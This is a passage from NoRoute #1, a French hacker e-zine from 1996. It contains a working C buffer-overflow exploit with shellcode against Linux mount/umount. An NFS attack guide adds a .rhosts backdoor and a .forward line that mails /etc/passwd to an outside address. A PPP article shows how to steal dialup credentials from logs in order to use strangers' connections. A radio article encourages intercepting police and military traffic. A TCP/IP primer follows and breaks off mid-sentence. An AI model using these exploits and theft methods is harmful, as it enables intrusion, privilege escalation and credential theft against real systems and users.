longs ayant pour valeur l'adresse du debut du buffer justement, c a dire
esp - offset, ou offset est un coup de moule total =)...
Voici le mount exploit (classique!) et son explication:
/* Mount Exploit for Linux, Jul 30 1996
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
:::::::...........:::...........:::...........::.......:......:.......::::::
:::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/umount" /* Ca fait bien de passer par des
#define BUFFER_SIZE 1024 Defines dans un code c =) */
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax"); /* Cette fonction retourne le SP courant.
}
main(int argc, char **argv)
{
u_char execshell[] = /* Voici notre shellcode */
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096); /* On alloue 4096 bytes pour notre EGG */
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff; /* Le pointeur ptr pointe vers ce buffer */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); /* On remplit le buffer
avec des NOP, en
laissant juste la place
pour le shellcode */
ptr += BUFFER_SIZE-strlen(execshell); /* Remise du pointeur a la fin
des NOPS pour pouvoir.... */
for(i=0;i < strlen(execshell);i++) /* Remplir la suite avec notre shellcode
*/
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr; /* addr_ptr prend la place de notre ptr
car il nous faut un long : l'addy
de retour contient 4 bytes */
/* Cette partie va remplir la suite de notre code avec l'adresse de retour...
On la place 3 fois a la fin du buffer...*/
for(i=0;i < (8/4);i++)
/* Ici il reste la place pour 3 words. En fait plus generiquement, il faudrait
faire quelque chose comme for(i=0;i < [fin];i+=4) */
*(addr_ptr++) = get_esp() + ofs; /* le word pointe par addr_ptr est
rempli par l'adresse de notre egg
et addr_ptr est incremente */
ptr = (char *)addr_ptr;
*ptr = 0; /* Le dernier char doit etre mis a 0
sinon c'est tout le reste de la RAM
qui est copie dans la buffer ! =) */
(void)alarm((u_int)0); /* On place une limite dans le temps d'exec.. */
/* Au cas ou ca merderait.... */
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
/* On se la pete pour etre auto-op dans #hack */
execl(PATH_MOUNT, "mount", buff, NULL);
/* On execute notre programme avec comme argument
notre EGG */
}
Les programmes dont le buffer sera exploitable sont les programmes ne
controllant pas la taille des buffers lors de dumps, par exemple les
programmes qui utilisent strcpy() au lieu de strncpy() qui est devenu une
regle d'or en matiere de programmation systeme sous unix...
J'espere que ce fichier vous donnera une autre opinion de l'exploit... Depuis
que je m'interesse a la question je ne cesse de decouvrir des bugs dans mon
linux (malheureusement la plupart etant dus a moi...=) et je passe
ma vie a faire la chasse aux suid non-deja-exploites... =) Ca devient une
vraie manie, j'y retourne j'ai un probleme avec sendmail... =]
-s0RC3Ry-> NoRoute #1
-------------------------------------------------------------------------------
NoRoute #1 þ Decouverte du spectre hertzien þ 4765 þ LaRsEn þ NoRoute #1
-------------------------------------------------------------------------------
HACKING-RADIO? Decouverte du spectre hertzien by LaRsEn.
Tous le monde connait le piratage informatique ou telephonique, mais bien
peu connaissent le formidable univers des ondes hertziennes, c'est a dire
des Radiocommunications.
C'est pour cela que j'espere, a travers cet article, vous faire decouvrir
la passion des ondes HF, VHF et UHF.
Vous allez surement vous dire:
"Mais quel est l'interer d'ecouter des frequences radios?"
Et bien, a cela, je vous repondrais que si vous prenez votre pied en
reussissant a hacker un ordinateur ou un pabx, vous pouvez tou aussi bien
hacker un reseau radio militaire par exemple!
Bien sur, vous allez me dire que d'intercepter les frequences radios d'un
reseau de radiocommunication militaire n'est pas un acte de hacking!!!
Et bien a cela aussi je repondrais que vous vous trompez drolement, car
sachez que si les armees du monde entier utilisent frequemment la phonie
pour communiquer, cela ne reste neanmoins qu'une goutte d'eau dans leur
trafic. Pour la bonne raison que 90% des communications militaires se font
en modes digitaux, c'est a dire qu'ils utilisent des modes de transmissions
de donnees INFORMATIQUES!!!
Tel le radioteletype "RTTY" [systeme de transmission semblable au telex
classique utilise sur le reseau RTC] ainsi que la telegraphie dite code
morse "CW", le fascimile "FAX" ou encore la SSTV [television a balayage
lent, utilisee surtout par les radioamateurs] et cela bien sur n'est qu'un
exemple....
Voici quelques modes de transmissions digitaux :
RTTY a 45/50/75/100/110 bauds,
le PACTOR mode d'emission semblable au PACKET-RADIO,
le TOR,
SITOR A et B,
l'ARQ,
l'ARQ-M etc.....
Donc comme vous pouvez le constater, les modes de transmissions digitaux par
radio ne manquent pas. Comme lorsque vous faites du hacking, il faut un
ordinateur, un modem, une ligne telephonique et de bonne connaissance en
unix, vax, il en va de meme pour le hacking-radio. Un vulgaire recepteur
comme votre radio FM ne vous donnera pas acces a cet univers, il va vous
faloir divers types de recepteurs radios speciaux, c'est a dire au moins
un recepteur decametrique pour les ondes courtes [appelees Haute Frequence
"HF"], ainsi qu'un recepteur scanner pour les ondes VHF et UHF [tres haute
frequence "VHF" et ultra haute frequence "UHF"] , il s'agit d'un recepteur
multibande couvrant un large spectre radio, par exemple, de
30 mhz a 2.6 ghz.
En plus ils vous faudras divers types d'antennes [antenne boudin, discone
pour le scanner et antenne electronique verticale ou filaire pour les ondes
courtes HF].
Le materiel dont j'ai parle ci-dessus ne vous donne acces, bien sur, qu'a la
partie phonie des transmissions radios, donc si vous voulez vous introduire
dans les reseaux radios en mode digital, ils vous faudra encore du materiel
specialise tel que soit un decodeur automatique de modes digitaux [tous les
magasins de materiel radioamateur en vendent] du type Telereader CWR900 qui
est capable de decoder les signaux RTTY, CW, SITOR A/B [ils y a de nombreux
modeles de decodeurs], soit un ORDINATEUR!!! Relie a vos recepteurs radios
et munis d'un logiciel de decodage, il vous donneras accees a tous les types
de transmissions de donnees par voie radio.
Vous pouvez trouver ces logiciels dans les magasins radioamateurs ou sur
internet en les telechargeant sur des ftp radioamateurs [genre le logiciel
JVFAX qui est gratuit!].
Je suis sur que maintenant vous vous dites:"Et bien moi qui croyais que la
radio c'etait une passion sans beaucoup d'interet!! En fait ca me donne
acces a une veritable toile de reseaux radios."
Sachez pour finir que le hack des reseaux radios militaires, n'est qu'un
exemple!!! Voici se que vous pourrez encore intercepter avec votre equipement
de reception et de decodage :
En HF :
- reseaux Teletypes AERONAUTIQUE civile et militaire
- reseaux Teletypes DIPLOMATIQUE
- reseaux Teletypes de la POLICE
- reseaux Teletypes des AGENCES DE PRESSE INTERNATIONALES
- reseaux Teletypes des stations METEOROLOGIQUES
- reseaux Teletypes des stations MARITIMES civiles et militaires
- reseaux Teletypes des AGENCES DE RENSEIGNEMENTS
Ou encore :
- reseaux fascimile des stations METEO
- reseaux packet-radio MILITAIRES
Voici ce que vous pourrez intercepter en VHF/UHF :
- transmission des balises de telemetrie des satellites radioamateurs
- transmission en packet-radio de la station spatiale MIR
- transmission en sstv des radioamateurs
- emission d'emetteurs TV pirate
- pager (radiomessagerie)
Et cela sans compter les emissions en phonie...
- police nationale
- gendarmerie nationale
- sapeur-pompier
- samu
- france telecom
- telephone sans fil
- radiotelephone de voiture (analogique)
- armee de l'air
- marine nationale
- marine civile
- aviation civile
- radioamateur
- douane
- sncf
- ratp
- service de securite divers (prives ou gouvernementaux)
- emetteur d'espionnage (micro-emetteur)
etc...
En ce qui concerne les frequences HF/VHF/UHF, ils existe de nombreux
listings (manuels) de frequences ainsi que des magazines et des emags
(emag HVU Magazine).
Sur cette fin, j'espere vous avoir fait decouvrir un peut mieux
les possibilites offertes par les radiocommunications.
BON HACK-RADIO!!!! p=)
!!!ATTENTION!!!
"l'utilisation de recepteur SCANNER est INTERDIT en France"
Il est tres probable que d'ici quelque temps la vente aux particuliers de
ses recepteurs soit interdite, sauf si vous reussissez a avoir une
autorisation administrative. Laquelle est bien sur impossible a obtenir a
des fins de loisirs!...
-------------------------------------------------------------------------------
NoRoute #1 þ NFS þ 4766 þ CoD4 þ NoRoute #1
-------------------------------------------------------------------------------
-----------------------------------------------------------------------------
-----------------------------------------------------------------------------
## # ###### #####
# # # # #
# # # ##### #####
# # # # #
# ## # ##### BY CoD4 ( PHE member)
-----------------------------------------------------------------------------
-----------------------------------------------------------------------------
Qui n'a pas deja entendu parler du NFS ou Network File System?
Meme si vous ne savez se que c'est, ca vous dit surement quelque chose.
NFS est un protocole situe au niveau de la couche application. Il permet
en fait le partage de fichiers entre les machines d'un reseau. Mais cela
de facon totalement transparente. Vous ne voyez pas que vous travaillez
sur des fichiers qui se situent sur une autre machine. Vous mountez le
repertoire distant et hop! C'est tout!
Bon, voyons maitenant comment marche NFS.
Generalites:
NFS a ete invente pour permettre de monter des fichiers ou repertoires
d'une machine serveur, sur un repertoire de la machine locale. de la
meme facon que l'on mounte un CD-ROM ou une disquette.
Le controle d'acces NFS est effectue par UID/GID et non pas par nom de
login. Il sera donc obligatoire d'avoir le meme UID/GID sur les deux
machines (cette condition est remplie automatiquement si on utilise NIS).
Toute machine du domaine peut jouer le role de SERVEUR ou CLIENT (ce qui
n'est pas le cas de NIS). :)
Mais dans la pratique, il y a souvent qu'un seul SERVEUR pour le reseau.
NFS est aussi un PEU "sans memoire". :)
Il n'y a aucune memorisation des operations succesives effectuees par le
serveur sur l'etat des clients ou sur les transactions de fichiers.
L'operation d'ouverture par exemple n'est pas memorisee par le serveur
mais par le client (tiens, une faiblesse). ;)
Voyons maintenant comment utiliser NFS.
Pour voir les fichiers exportes par une machine faites:
# showmout -e www.bibi.com
export list for www.bibi.com
/usr (everyone)
/cdrom (everyone)
/export/bibi/ linda
La, on peut voir que NFS exporte /usr /cdrom en everyone (tout le monde
peut le mounter).
Mais on voit aussi que /export/bibi/ est accesible que pour la machine
linda.
Ensuite, pour mounter un systeme de fichiers NFS faites:
# mount -t nfs www.bibi.com:/usr /mnt
Voila le repertoire /usr de www.bibi.com est maintenant dans notre
repertoire /mnt .
-----------------------------------------------------------------------------
3: Let Me Be a Hacker =) <------smiley prefere de S0RC3RY
Bon, maitenant que vous savez vous servir du NFS, voyons a quoi il peut
bien nous servir:
1: deja a inspecter le systeme. N'oubliez pas que la moindre information
peut etre cruciale (si le /var est exporte vous pouvez alors
facilement recuperer le nom de domaine et donc utiliser NIS pour
recuperer les maps passwd).
2: a ecrire un petit cheval de troie :) , hehe tres simple, que vous
pouvez placer dans /usr . Si le NFS est mal configure, vous pouvez
vous faire passer pour le r00t, mais bon c'est rare. ;)
3: vous pouvez surtout avoir un shell sur la machine. :) Souvent il y'a
des home directories exportes. Si vous etes chanceux, certains seront
777 (tous le monde peut ecrire dedans :) ), sinon vous devrez prendre
l'identite d'un user, en trafiquant votre UID/GID, operation assez
facile d'ailleurs. Donc des que vous avez acces a un home directory,
mettez lui un fichier .rhosts comprenants "+ +" dedans :) , ou faites
un fichier .forward avec "|/bin/mail hacker@fuck.edu.xx < /etc/passwd"
histoire de recuperer /etc/password .
4: autre bug de securite
NFS n'a pas de memoire donc il se fie au client. Mais voila, si vous
voulez ecrire ou lire un fichier, le client doit donner seulement
le bon handle du fichier et hop, vous pouvez le lire y ecrire, etc!
Pourquoi? Vous allez me dire. Car NFS donne seulement les handles de
fichiers a un client qui a passe avec succes l'authentification. Hehe :=
5: heeeeeuuuuuu je vois plus... :)
Et bien voila, vous en savez un peu plus sur le NFS.
-----------------------------------------------------------------------------
Dans le prochain n0R0Ute, on parlera de NIS et de DNS.
BYE ***
Article relu et corrige (les fotes dortografe) par Octagon... :)
-------------------------------------------------------------------------------
NoRoute #1 þ Recuperer des comptes PPP þ 4767 þ Hotcode þ NoRoute #1
-------------------------------------------------------------------------------
Comment recuperer des comptes PPP
Par HoTCoDe
-----------------------------------------
J'ai decouvert tout ce qui va suivre sous ma distrib Linux RedHat 4.0, mais
je pense qu'elle doit marcher dans le cas d'autres distributions, voire meme
avec d'autres UN*X. Cependant, j'ai constate que cela ne marchait visiblement
pas pour MkLinux :(
[Sorcery: Voui.. Tout depend du script de connection... =) Si chat est appele
avec l'option -v lors de la connection, alors toutes ces infos sont loggees
dans le fichier en question. Remarquez rien ne vous empeche de chopper le
root et de lire le script de connection =)]
-METHODE UN-
Voila donc... Le probleme se situe au niveau des permissions du fichier
/var/log/messages (ou /var/adm/log/messages, ca depend) qui est en world
readable (o+r). PPP (ma version est la 2.2) notifie toutes ses actions durant
la connexion, et si on regarde bien, on voit qu'il envoie au modem le numero
de telephone du provider, le login et le password correspondant a l'account.
Voici donc ce qui se passe chez moi...
% cat /var/log/messages | grep "chat"
(j'ai decoupe ici une seule sequence de connexion, il y en a plusieurs
dizaines sinon... J'ai aussi modifie les infos, histoire de quand meme
garder mon compte confidentiel :)
Feb 9 20:23:40 HoTMaCHiNe chat[924]: expect (OK)
Feb 9 20:23:40 HoTMaCHiNe chat[924]: ^M
Feb 9 20:23:40 HoTMaCHiNe chat[924]: ATH0^M^M
Feb 9 20:23:40 HoTMaCHiNe chat[924]: OK -- got it
1> Feb 9 20:23:40 HoTMaCHiNe chat[924]: send (ATDT0140354512^M)
Feb 9 20:23:40 HoTMaCHiNe chat[924]: expect (CONNECT)
Feb 9 20:23:40 HoTMaCHiNe chat[924]: ^M
Feb 9 20:24:01 HoTMaCHiNe chat[924]: ATDT0140354512^M^M
Feb 9 20:24:01 HoTMaCHiNe chat[924]: CONNECT -- got it
Feb 9 20:24:01 HoTMaCHiNe chat[924]: send (^M)
Feb 9 20:24:01 HoTMaCHiNe chat[924]: expect (ogin:)
Feb 9 20:24:01 HoTMaCHiNe chat[924]: 115200^M
Feb 9 20:24:11 HoTMaCHiNe chat[924]: ^M
Feb 9 20:24:11 HoTMaCHiNe chat[924]: Login: -- got it
2> Feb 9 20:24:11 HoTMaCHiNe chat[924]: send (foo^M)
Feb 9 20:24:12 HoTMaCHiNe chat[924]: expect (assword:)
Feb 9 20:24:12 HoTMaCHiNe chat[924]: foo^M
Feb 9 20:24:12 HoTMaCHiNe chat[924]: Password: -- got it
3> Feb 9 20:24:12 HoTMaCHiNe chat[924]: send (bar^M)
On voit donc en (1) le numero de telephone envoye (0140354512). En (2), le
login (ici, "foo") et enfin en (3) le pass correspondant, "bar".
C'est aussi con que ca ! On peut egalement chercher ces infos avec un
% cat /var/log/messages | grep "send"
Et on verra toutes les informations envoyees au modem.
-METHODE DEUX-
La methode deux est plus hypothetique, mais jouable quand meme. J'ai trouve
des becanes ou elle fonctionnait... Hehe !
Il faut deja trouver les scripts de connexions PPP (ppp-on en general) a l'
aide d'un `find -name "ppp-on" -print'. Sinon, il arrive qu'il soit dans
/etc/ppp ou dans /sbin (ou encore /usr/sbin). Enfin bon, je vais pas vous
macher tout le travail quand meme !
Il suffit des les recuperer, et si votre cerval fonctionne correctement, vous
aurez compris que toutes les informations de connexion sont a l'interieur, vu
que c'est un script. Donc, vous le dissequez, et la, Oh joie...
TELEPHONE=0140354512 # The telephone number for the connection
ACCOUNT=foo # The account name for logon (as in 'George Burns')
PASSWORD=bar # The password for this account (and 'Gracie Allen')
Je vous ai mis ici les scripts d'exemple que j'ai trouve dans
`/usr/doc/ppp<version>/scripts', et que j'utilise pour me connecter, mais je
me doute que vous en avez plutot rien a cirer :)
-CONCLUSiON-
Voila deux methodes tres simples a mettre en oeuvre, qui ne coutent rien et
qui permettent de recuperer facilement des comptes PPP, ce qui est toujours
utile quand on veut hacker sans trop se faire reperer, en utilisant la
connexion d'un illustre inconnu.
Enjoy diz phile, continue loving Bernard Menez and have phun !
[Nota deux: =) Dans le deuxieme cas il faut etre root sur la machine en general
pour avoir acces a ce script ultra confidentiel... Ces deux methodes vous
permettent de chopper des logins dans tout cybercafe connecte par telephone
au net et tournant sous linux... (pratique pour gerer les abos...)]
-------------------------------------------------------------------------------
NoRoute #1 þ TCP/IP þ 4768 þ Kewl þ NoRoute #1
-------------------------------------------------------------------------------
--== Ben kesako c le tcpip ??? ==--
Intro.
=====
Hello tout le monde!
Tout le monde entend parler de TCPIP partout, donc j'y met mon grain de sel
aussi... (attention faut avoir ca en tete pour capter des choses ki vont
sortir dans certains numeros de Norout)
En fait, c un protocole qui a ete cree pour pouvoir partager des ressources
a travers un reseau. Son interet est qu'il peut etre utilise par tout
type de machine (Sparc, Alpha, Silicon, etc...) et tout type de
support (X25, Hyperchannel, PPP, FDDI, Ultranet, ...). Nous verrons
l'exemple d'utilisation d'un pc sous Linux avec un support ethernet.
Protocoles
==========
Ben en fait, on dit toujours TCP/IP mais en fait les protocoles TCP et IP
sont les plus utilises, si c'etait ICMP et UDP p'etre kon appellerai
ca ICMP/UDP :o) En fait c pas par hasard, c car il existe une
hierarchie entre les protocoles.. dont voila un petit dessin ki
montre ke les RAW sockets permettent l'interfacage a la couche IP,
ceux du type DGRAM a UDP, ainsi que ceux du type STREAM a la couche TCP.
|------------------|--------------| Les protocoles utilises sur Internet
| TELNET RWHO | RUSERS | sont bien decrits par les RFC (Requests
| FTP TFTP | RSTAT | for Documents), disponibles sur les
| | | protocoles sur la gauche de ce texte,
| | | et quand on dit pas mal, c pas faux :o)
| RLOGIN TALK | WALL | ftp.ibp.fr/pub/rfc, il decrivent avec
| RSH DNS | RQUOTA | pas mal de precision. Donc je vais
| | | decrires maintenant les principaux
| | | protocoles ..
| REXEC SMNP | NIS |
| SMTP | NFS | 1. IP
| |--------------| Ben c'est celui a qui on doit le
| | | routage et la fragmentation des
| | | paquets, il est sans connection.
| | XDR | Quand on dit routage, en fait on va
| | | dir que son boulot est de trouver
| |--------------| trouver le routeur qu'il faut pour
| | | atteindre la destination, alors
| | | c'est grace a lui que la bonne
| | RPC | interface est choisie. Donc aussi
| | | il gere la fragmentation des
|---------------------------------| paquets, ben ouais il faut bien, car
| | les protocoles superieurs (TCP/UDP)
| | sont coupes en fragments IP de tailles
| Socket STREAM Socket DGRAM | maximale qui depend de l'interface
| | utilisee. En reception, IP reassemble
|---------------------------------| les fragments. Cette taille depend
| | (pc de cod4 plante) du support utilise
| RCP UDP | (1500 octets sur l'ethernet et 4352
| | sur une fibre optique FDDI).
|---------------------------------|
| Interface RAW Socket | 2. ARP et RARP
|---------------------------------| ARP = Adress Resolution Protocol,
| | il permet de faire une correspondance
| | entre une adresse IP de 4 octets
| ARP ICMP <------> IP | (A.B.C.D) vers une forme ethernet
| | en 6 octets (A:B:C:D:E:F) et de savoir
|---------------------------------| quelle carte est sur quelle IP.
| | RARP, (Reverse ARP), ben soyons pas
| ETHERNET ISO 8802.3 X25-3 | bete, tout le monde a devine son
| | utilite !
-----------------------------------
3. ICMP
(cod4 a fait un restore de copine, mouahahahahha top).. Bon disons plutot
que ICMP c Internet Control Message Protocol.
En bref il permet d'analyser les blemes de communications. Grace a lui,
on peut aussi savoir si une machine est en marche (ex : ping -s 65000 -f
warez.2-go.com). Encore, un routeur peut donner des directives a une
machine pour lui donner une meilleure route pour atteindre une
machine (ICMP redirect). ICMP c le protocole regged en tant ke # 1.
4. UDP
C'est le protocole numero 17. Il est oriente datagramme qui achemine
les messages tels quels, sans ouverture de connection, et sans garantie
de port egalement. Il peut etre utilise en point a point
(vers un seul destinataire), ou en mode diffusion. (arf le pc de cod4
lui dit kil a un 386sx) En mode diffusion, UDP est utilise par talkd,
tftpd et encore NFS.
5. TCP
TCP = Transmission Control Protocol, il est oriente connexion, dont la
vie est l'etablissement de la connection, la transmission des donnees et
enfin la liberation de la connection. TCP ramene les segments sans decoupage
ni regroupement, et garantie le bon port. En cas d'erreur de transmission,
ben c'est tout simplement retransmi :), biensur grace a un controle de
flux. TCP est utilise par les protocoles ftp, telnet, rlogin, lpd, X11.
TCP est le protocole #6.
Le niveau TCP
=============
Donc TCP est le responsable de la fracture de messages en datagrammes,
les reassemblant a l'autre bout, dans le meme ordre. IP est le responsable du
routage de chaque datagramme. On pourrait dire que TCP fait tout le travail,
dans les petits reseaux cela est vrai, mais sur Internet, envoyer un
datagramme vers une autre machine n'est pas un simple boulot. Une connection
peut forcer le datagramme a passer a travers toute une serie de reseaux,
tels qu'une ligne Serie a 56 kbit/s, ensuite un reseau ethernet pour enfin
arriver sur une FDDI, etc.. Garder la piste du chemin vers toutes les
destinations et transporter les incompatibilites de differents medias de
transport sont un travail pas tres simple... Notons que l'interface entre
TCP et IP est quand meme assez simple. TCP fait simplement un datagramme
avec une destination.
Il ce peut (surement meme), qu'il manque quelque chose ici. On a tous parle
d'adresses Internet, mais jamais comment gerer des multiples connections
vers un systeme donne. Clairement, ca suffit pas de faire des datagrammes
vers la bonne destination. TCP doit savoir quel datagramme fait parti ce
cette connection (merci cod4 pour cette phrase). Cette tache est le
demultiplexage. En fait, il y a toute une serie de de demultiplexages
qui vont sur TCP/IP. Les informations dont on a besoin pour ce
demultiplexage sont contenues dans des series de headers. Un header est
simplement quelques tout petit octets places au debut de chaque datagramme
par quelques protocoles dans le but de garder une piste de lui.
C'est un peu comme mettre une lettre dans une enveloppe et mettre une
adresse a l'exterieur de l'enveloppe. Sauf avec les reseaux modernes
cela arrive souvent. C'est comme quand tu veux mettre une lettre a
l'interieur d'une enveloppe, ta secretaire la met dans quelque chose
plus gros qu'une enveloppe, puis le service du courier met encore ce truc
plus gros qu'une enveloppe dans un encore plus gros.. Voici un appercu des
headers qui font coller un message ki passe a travers un reseau TCP/IP :
On commence par une simple donnee, par exemple tu essaies (oui je dis bien
essaies :>) d'envoyer un fichier vers un autre ordinateur :
...................................................................
TCP lui casse ca en morceaux dont il peut s'occuper. (biensur pour pouvoir
le faire, il doit savoir quelle taille maximum un datagramme peut avoir sur
ton type de reseau)
.... .... .... .... .... .... .... .... .... ....
TCP met un header au debut de chaque datagramme. Ce header contient au moins
20 octets, mais les plus importants sont les numeros de ports d'emission
et de destination et le sequence number. Les numeros de port sont
utilises pour garder une piste de differentes conversations. Suppose
voir que trois personnes transferent des fichiers. Ton TCP peut etre leur
donnera les ports numero 1000, 1001 et 1002 pour ces transferts.
Quand tu envoies un datagramme, ca devient le port de source, puisque tu es
sur la source du datagramme. Et biensur TCP de l'autre extremite a assigne un
port des siens pour la conversation. Ton TCP doit aussi savoir quel port est
utilise sur l'autre extreme. (Il le trouve quand la communication commence.)
Il envoie ca dans le "champ" port de destination. Biensur si de l'autre cote
est rerenvoye vers toi, les ports de source et de destination seront inverses,
ensuite il sera le source et toi tu seras la destination. Chaque datagramme
a un sequence number. Ceci est utilise alors l'autre fin afin d'etre sur que
la datagramme a ete recu dans le bon ordre, et qu'en en a loupe aucun. TCP
ne numerote pas les datagrammes (bon cod4 arretes un peu l'irc ca rend fou :),
mais les octets. Donc s'il y a 500 octets de donnees dans chaque datagramme,
le premier sera "numerote" 0, le second 500, le suivant 1000, le suivant 1500,
etc........ Finalement, on va parler du Checksum (somme de controle).
C'est un nombre qui est calcule en ajoutant tout les octets du datagramme.
Le resultat est mit dans le header. TCP de l'autre cote verifie ce checksum
aussi, et si ils ne sont pas d'accord, c'est que kelke chose de mauvais est
apparu lors de la transmission, et il est jete au loin. Voila a quoi
ressemble un petit datagramme :
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Port Source | Port de Destination |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| donnees ... prochains 500 octets |
| ...... |
Si on abregeait l'entete TCP par "T", le fichier ressemblairait a ceci :
T.... T.... T.... T.... T.... T.... T....
Tu noteras qu'il y a des choses dont j'ai pas parle dans le header..
Ils sont generalement invoques avec la gestion de la connection.
Pour etre sur qu'un datagramme est arrive a sa destination, le receveur as a
renvoyer un "acknowledgement". C'est un datagramme dans lequel le champ
"Acknowledgement number" est rempli. Par exemple, envoyer un paquet avec un
acknowledgement de 1500 indique que tu as recupere toutes les donnees
jusqu'a 1500. Si l'envoyeur ne recoit pas un acknowledgement dans un delais
raisonnable, il renvoie les donnees. La fenetre (Window) est utilisee pour
controler combien de donnees peuvent transiter a un moment. Il n'est pas
pratique d'attendre que chaque datagramme soit acknowledged avant
d'envoyer le suivant. Et aussi faut dire que ca ralentisserait, et pas qu'un
peu, n'est ce pas sorcery ? D'autre part, tu ne peux pas que envoyer, ou
un ordinateur rapide pourrait subir des indigestions a un plus petit qui
recoit les donnees. Alors il y a un champ "Window", et des qu'un ordinateur
a envoye des donnees, ce champ diminue, et s'il est vide, il arrete d'envoyer.
Quand le recepteur recoit les donnees, il augmente sa fenetre (Window), en
indiquant qu'il est pret a recevoir plus de donnees.
Le niveau IP
============
TCP envoie chaqun de ces datagrammes a la couche IP. Biensur on doit dire a
IP l'adresse de la machine de l'autre bout. Note quand meme que c'est tout ce
qu'IP est concerne de faire. Il s'en fiches de ce qu'il y a dans le datagramme,
ou meme dans le header TCP. Son boulot est simplement de trouver le chemin pour
que le datagramme arrive jusqu'a sa destination. Pour permettre aux routeurs
intermediaires d'envoyer le datagramme, il ajoute son propre header.
La principale chose qu'on y trouve sont les IPs de source et de destination
(adresses 32 bit, comme 128.6.4.194), le numero du protocole, et un autre
cheksum. L'adresse source est simplement l'adresse de ta machine, c'est
necessaire pour que l'autre sache d'ou ca vient. L'adresse de la machine de
destination est l'adresse de l'autre machine, ce qui est necessaire aux
routeurs entre pour connaitre ou tu veux que le datagramme ailles. En debit
du fait que le trafic IP utilise TCP, il y a d'autres protocoles qui peuvent
etre utilises avec IP, donc il faut dire a IP quel protocole il faut envoyer
sur le datagramme. Finalement, le checksum permettra a IP de l'autre cote de
verifier que le header n'a pas etre bousille lors du voyage. Note aussi que
TCP et IP ont des checksums independants. IP a besoin d'etre capable de
verifier que le header (entete) n'a pas etre endommage durant le transport,
sinon il pourrait envoyer un message a un mauvais endroit. Pour des raisons
que je ne vais pas expliquer, il est plus efficace et plus sur d'avoir TCP
qui calcule son cheksum separement pour le header TCP et les donnees TCP.
Quand IP a mit son header, voila a quoi le message ressemble :
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| TCP header, then your data ...... |
| |
Si on represente le header IP par un "I", ton fichier ressemblerait a ca :
IT.... IT.... IT.... IT.... IT.... IT.... IT....
(Bon CoD4 est banni de #france, mort de rire !! :)) Aussi, le header
contient des autres champs sont j'ai pas cause avant.. Le "flag" et
"Fragment Offset" sont utilises pour garder une piste des pieces quand un
datagramme doit merder. Ca peut arriver quand les datagrammes sont envoyes
a travers un reseau pour lequel ils sont trop gros. La duree de vie "Time
to Live" est un numero qui decroit lorsque que le datagramme passe a travers
un systeme. Quand il devient nul, il datagramme est detruit. Ceci est fait en
cas de deplacement en boucle du paquet.
A ce point, c'est possible qu'il y ait plus de headers necessaires, si ton
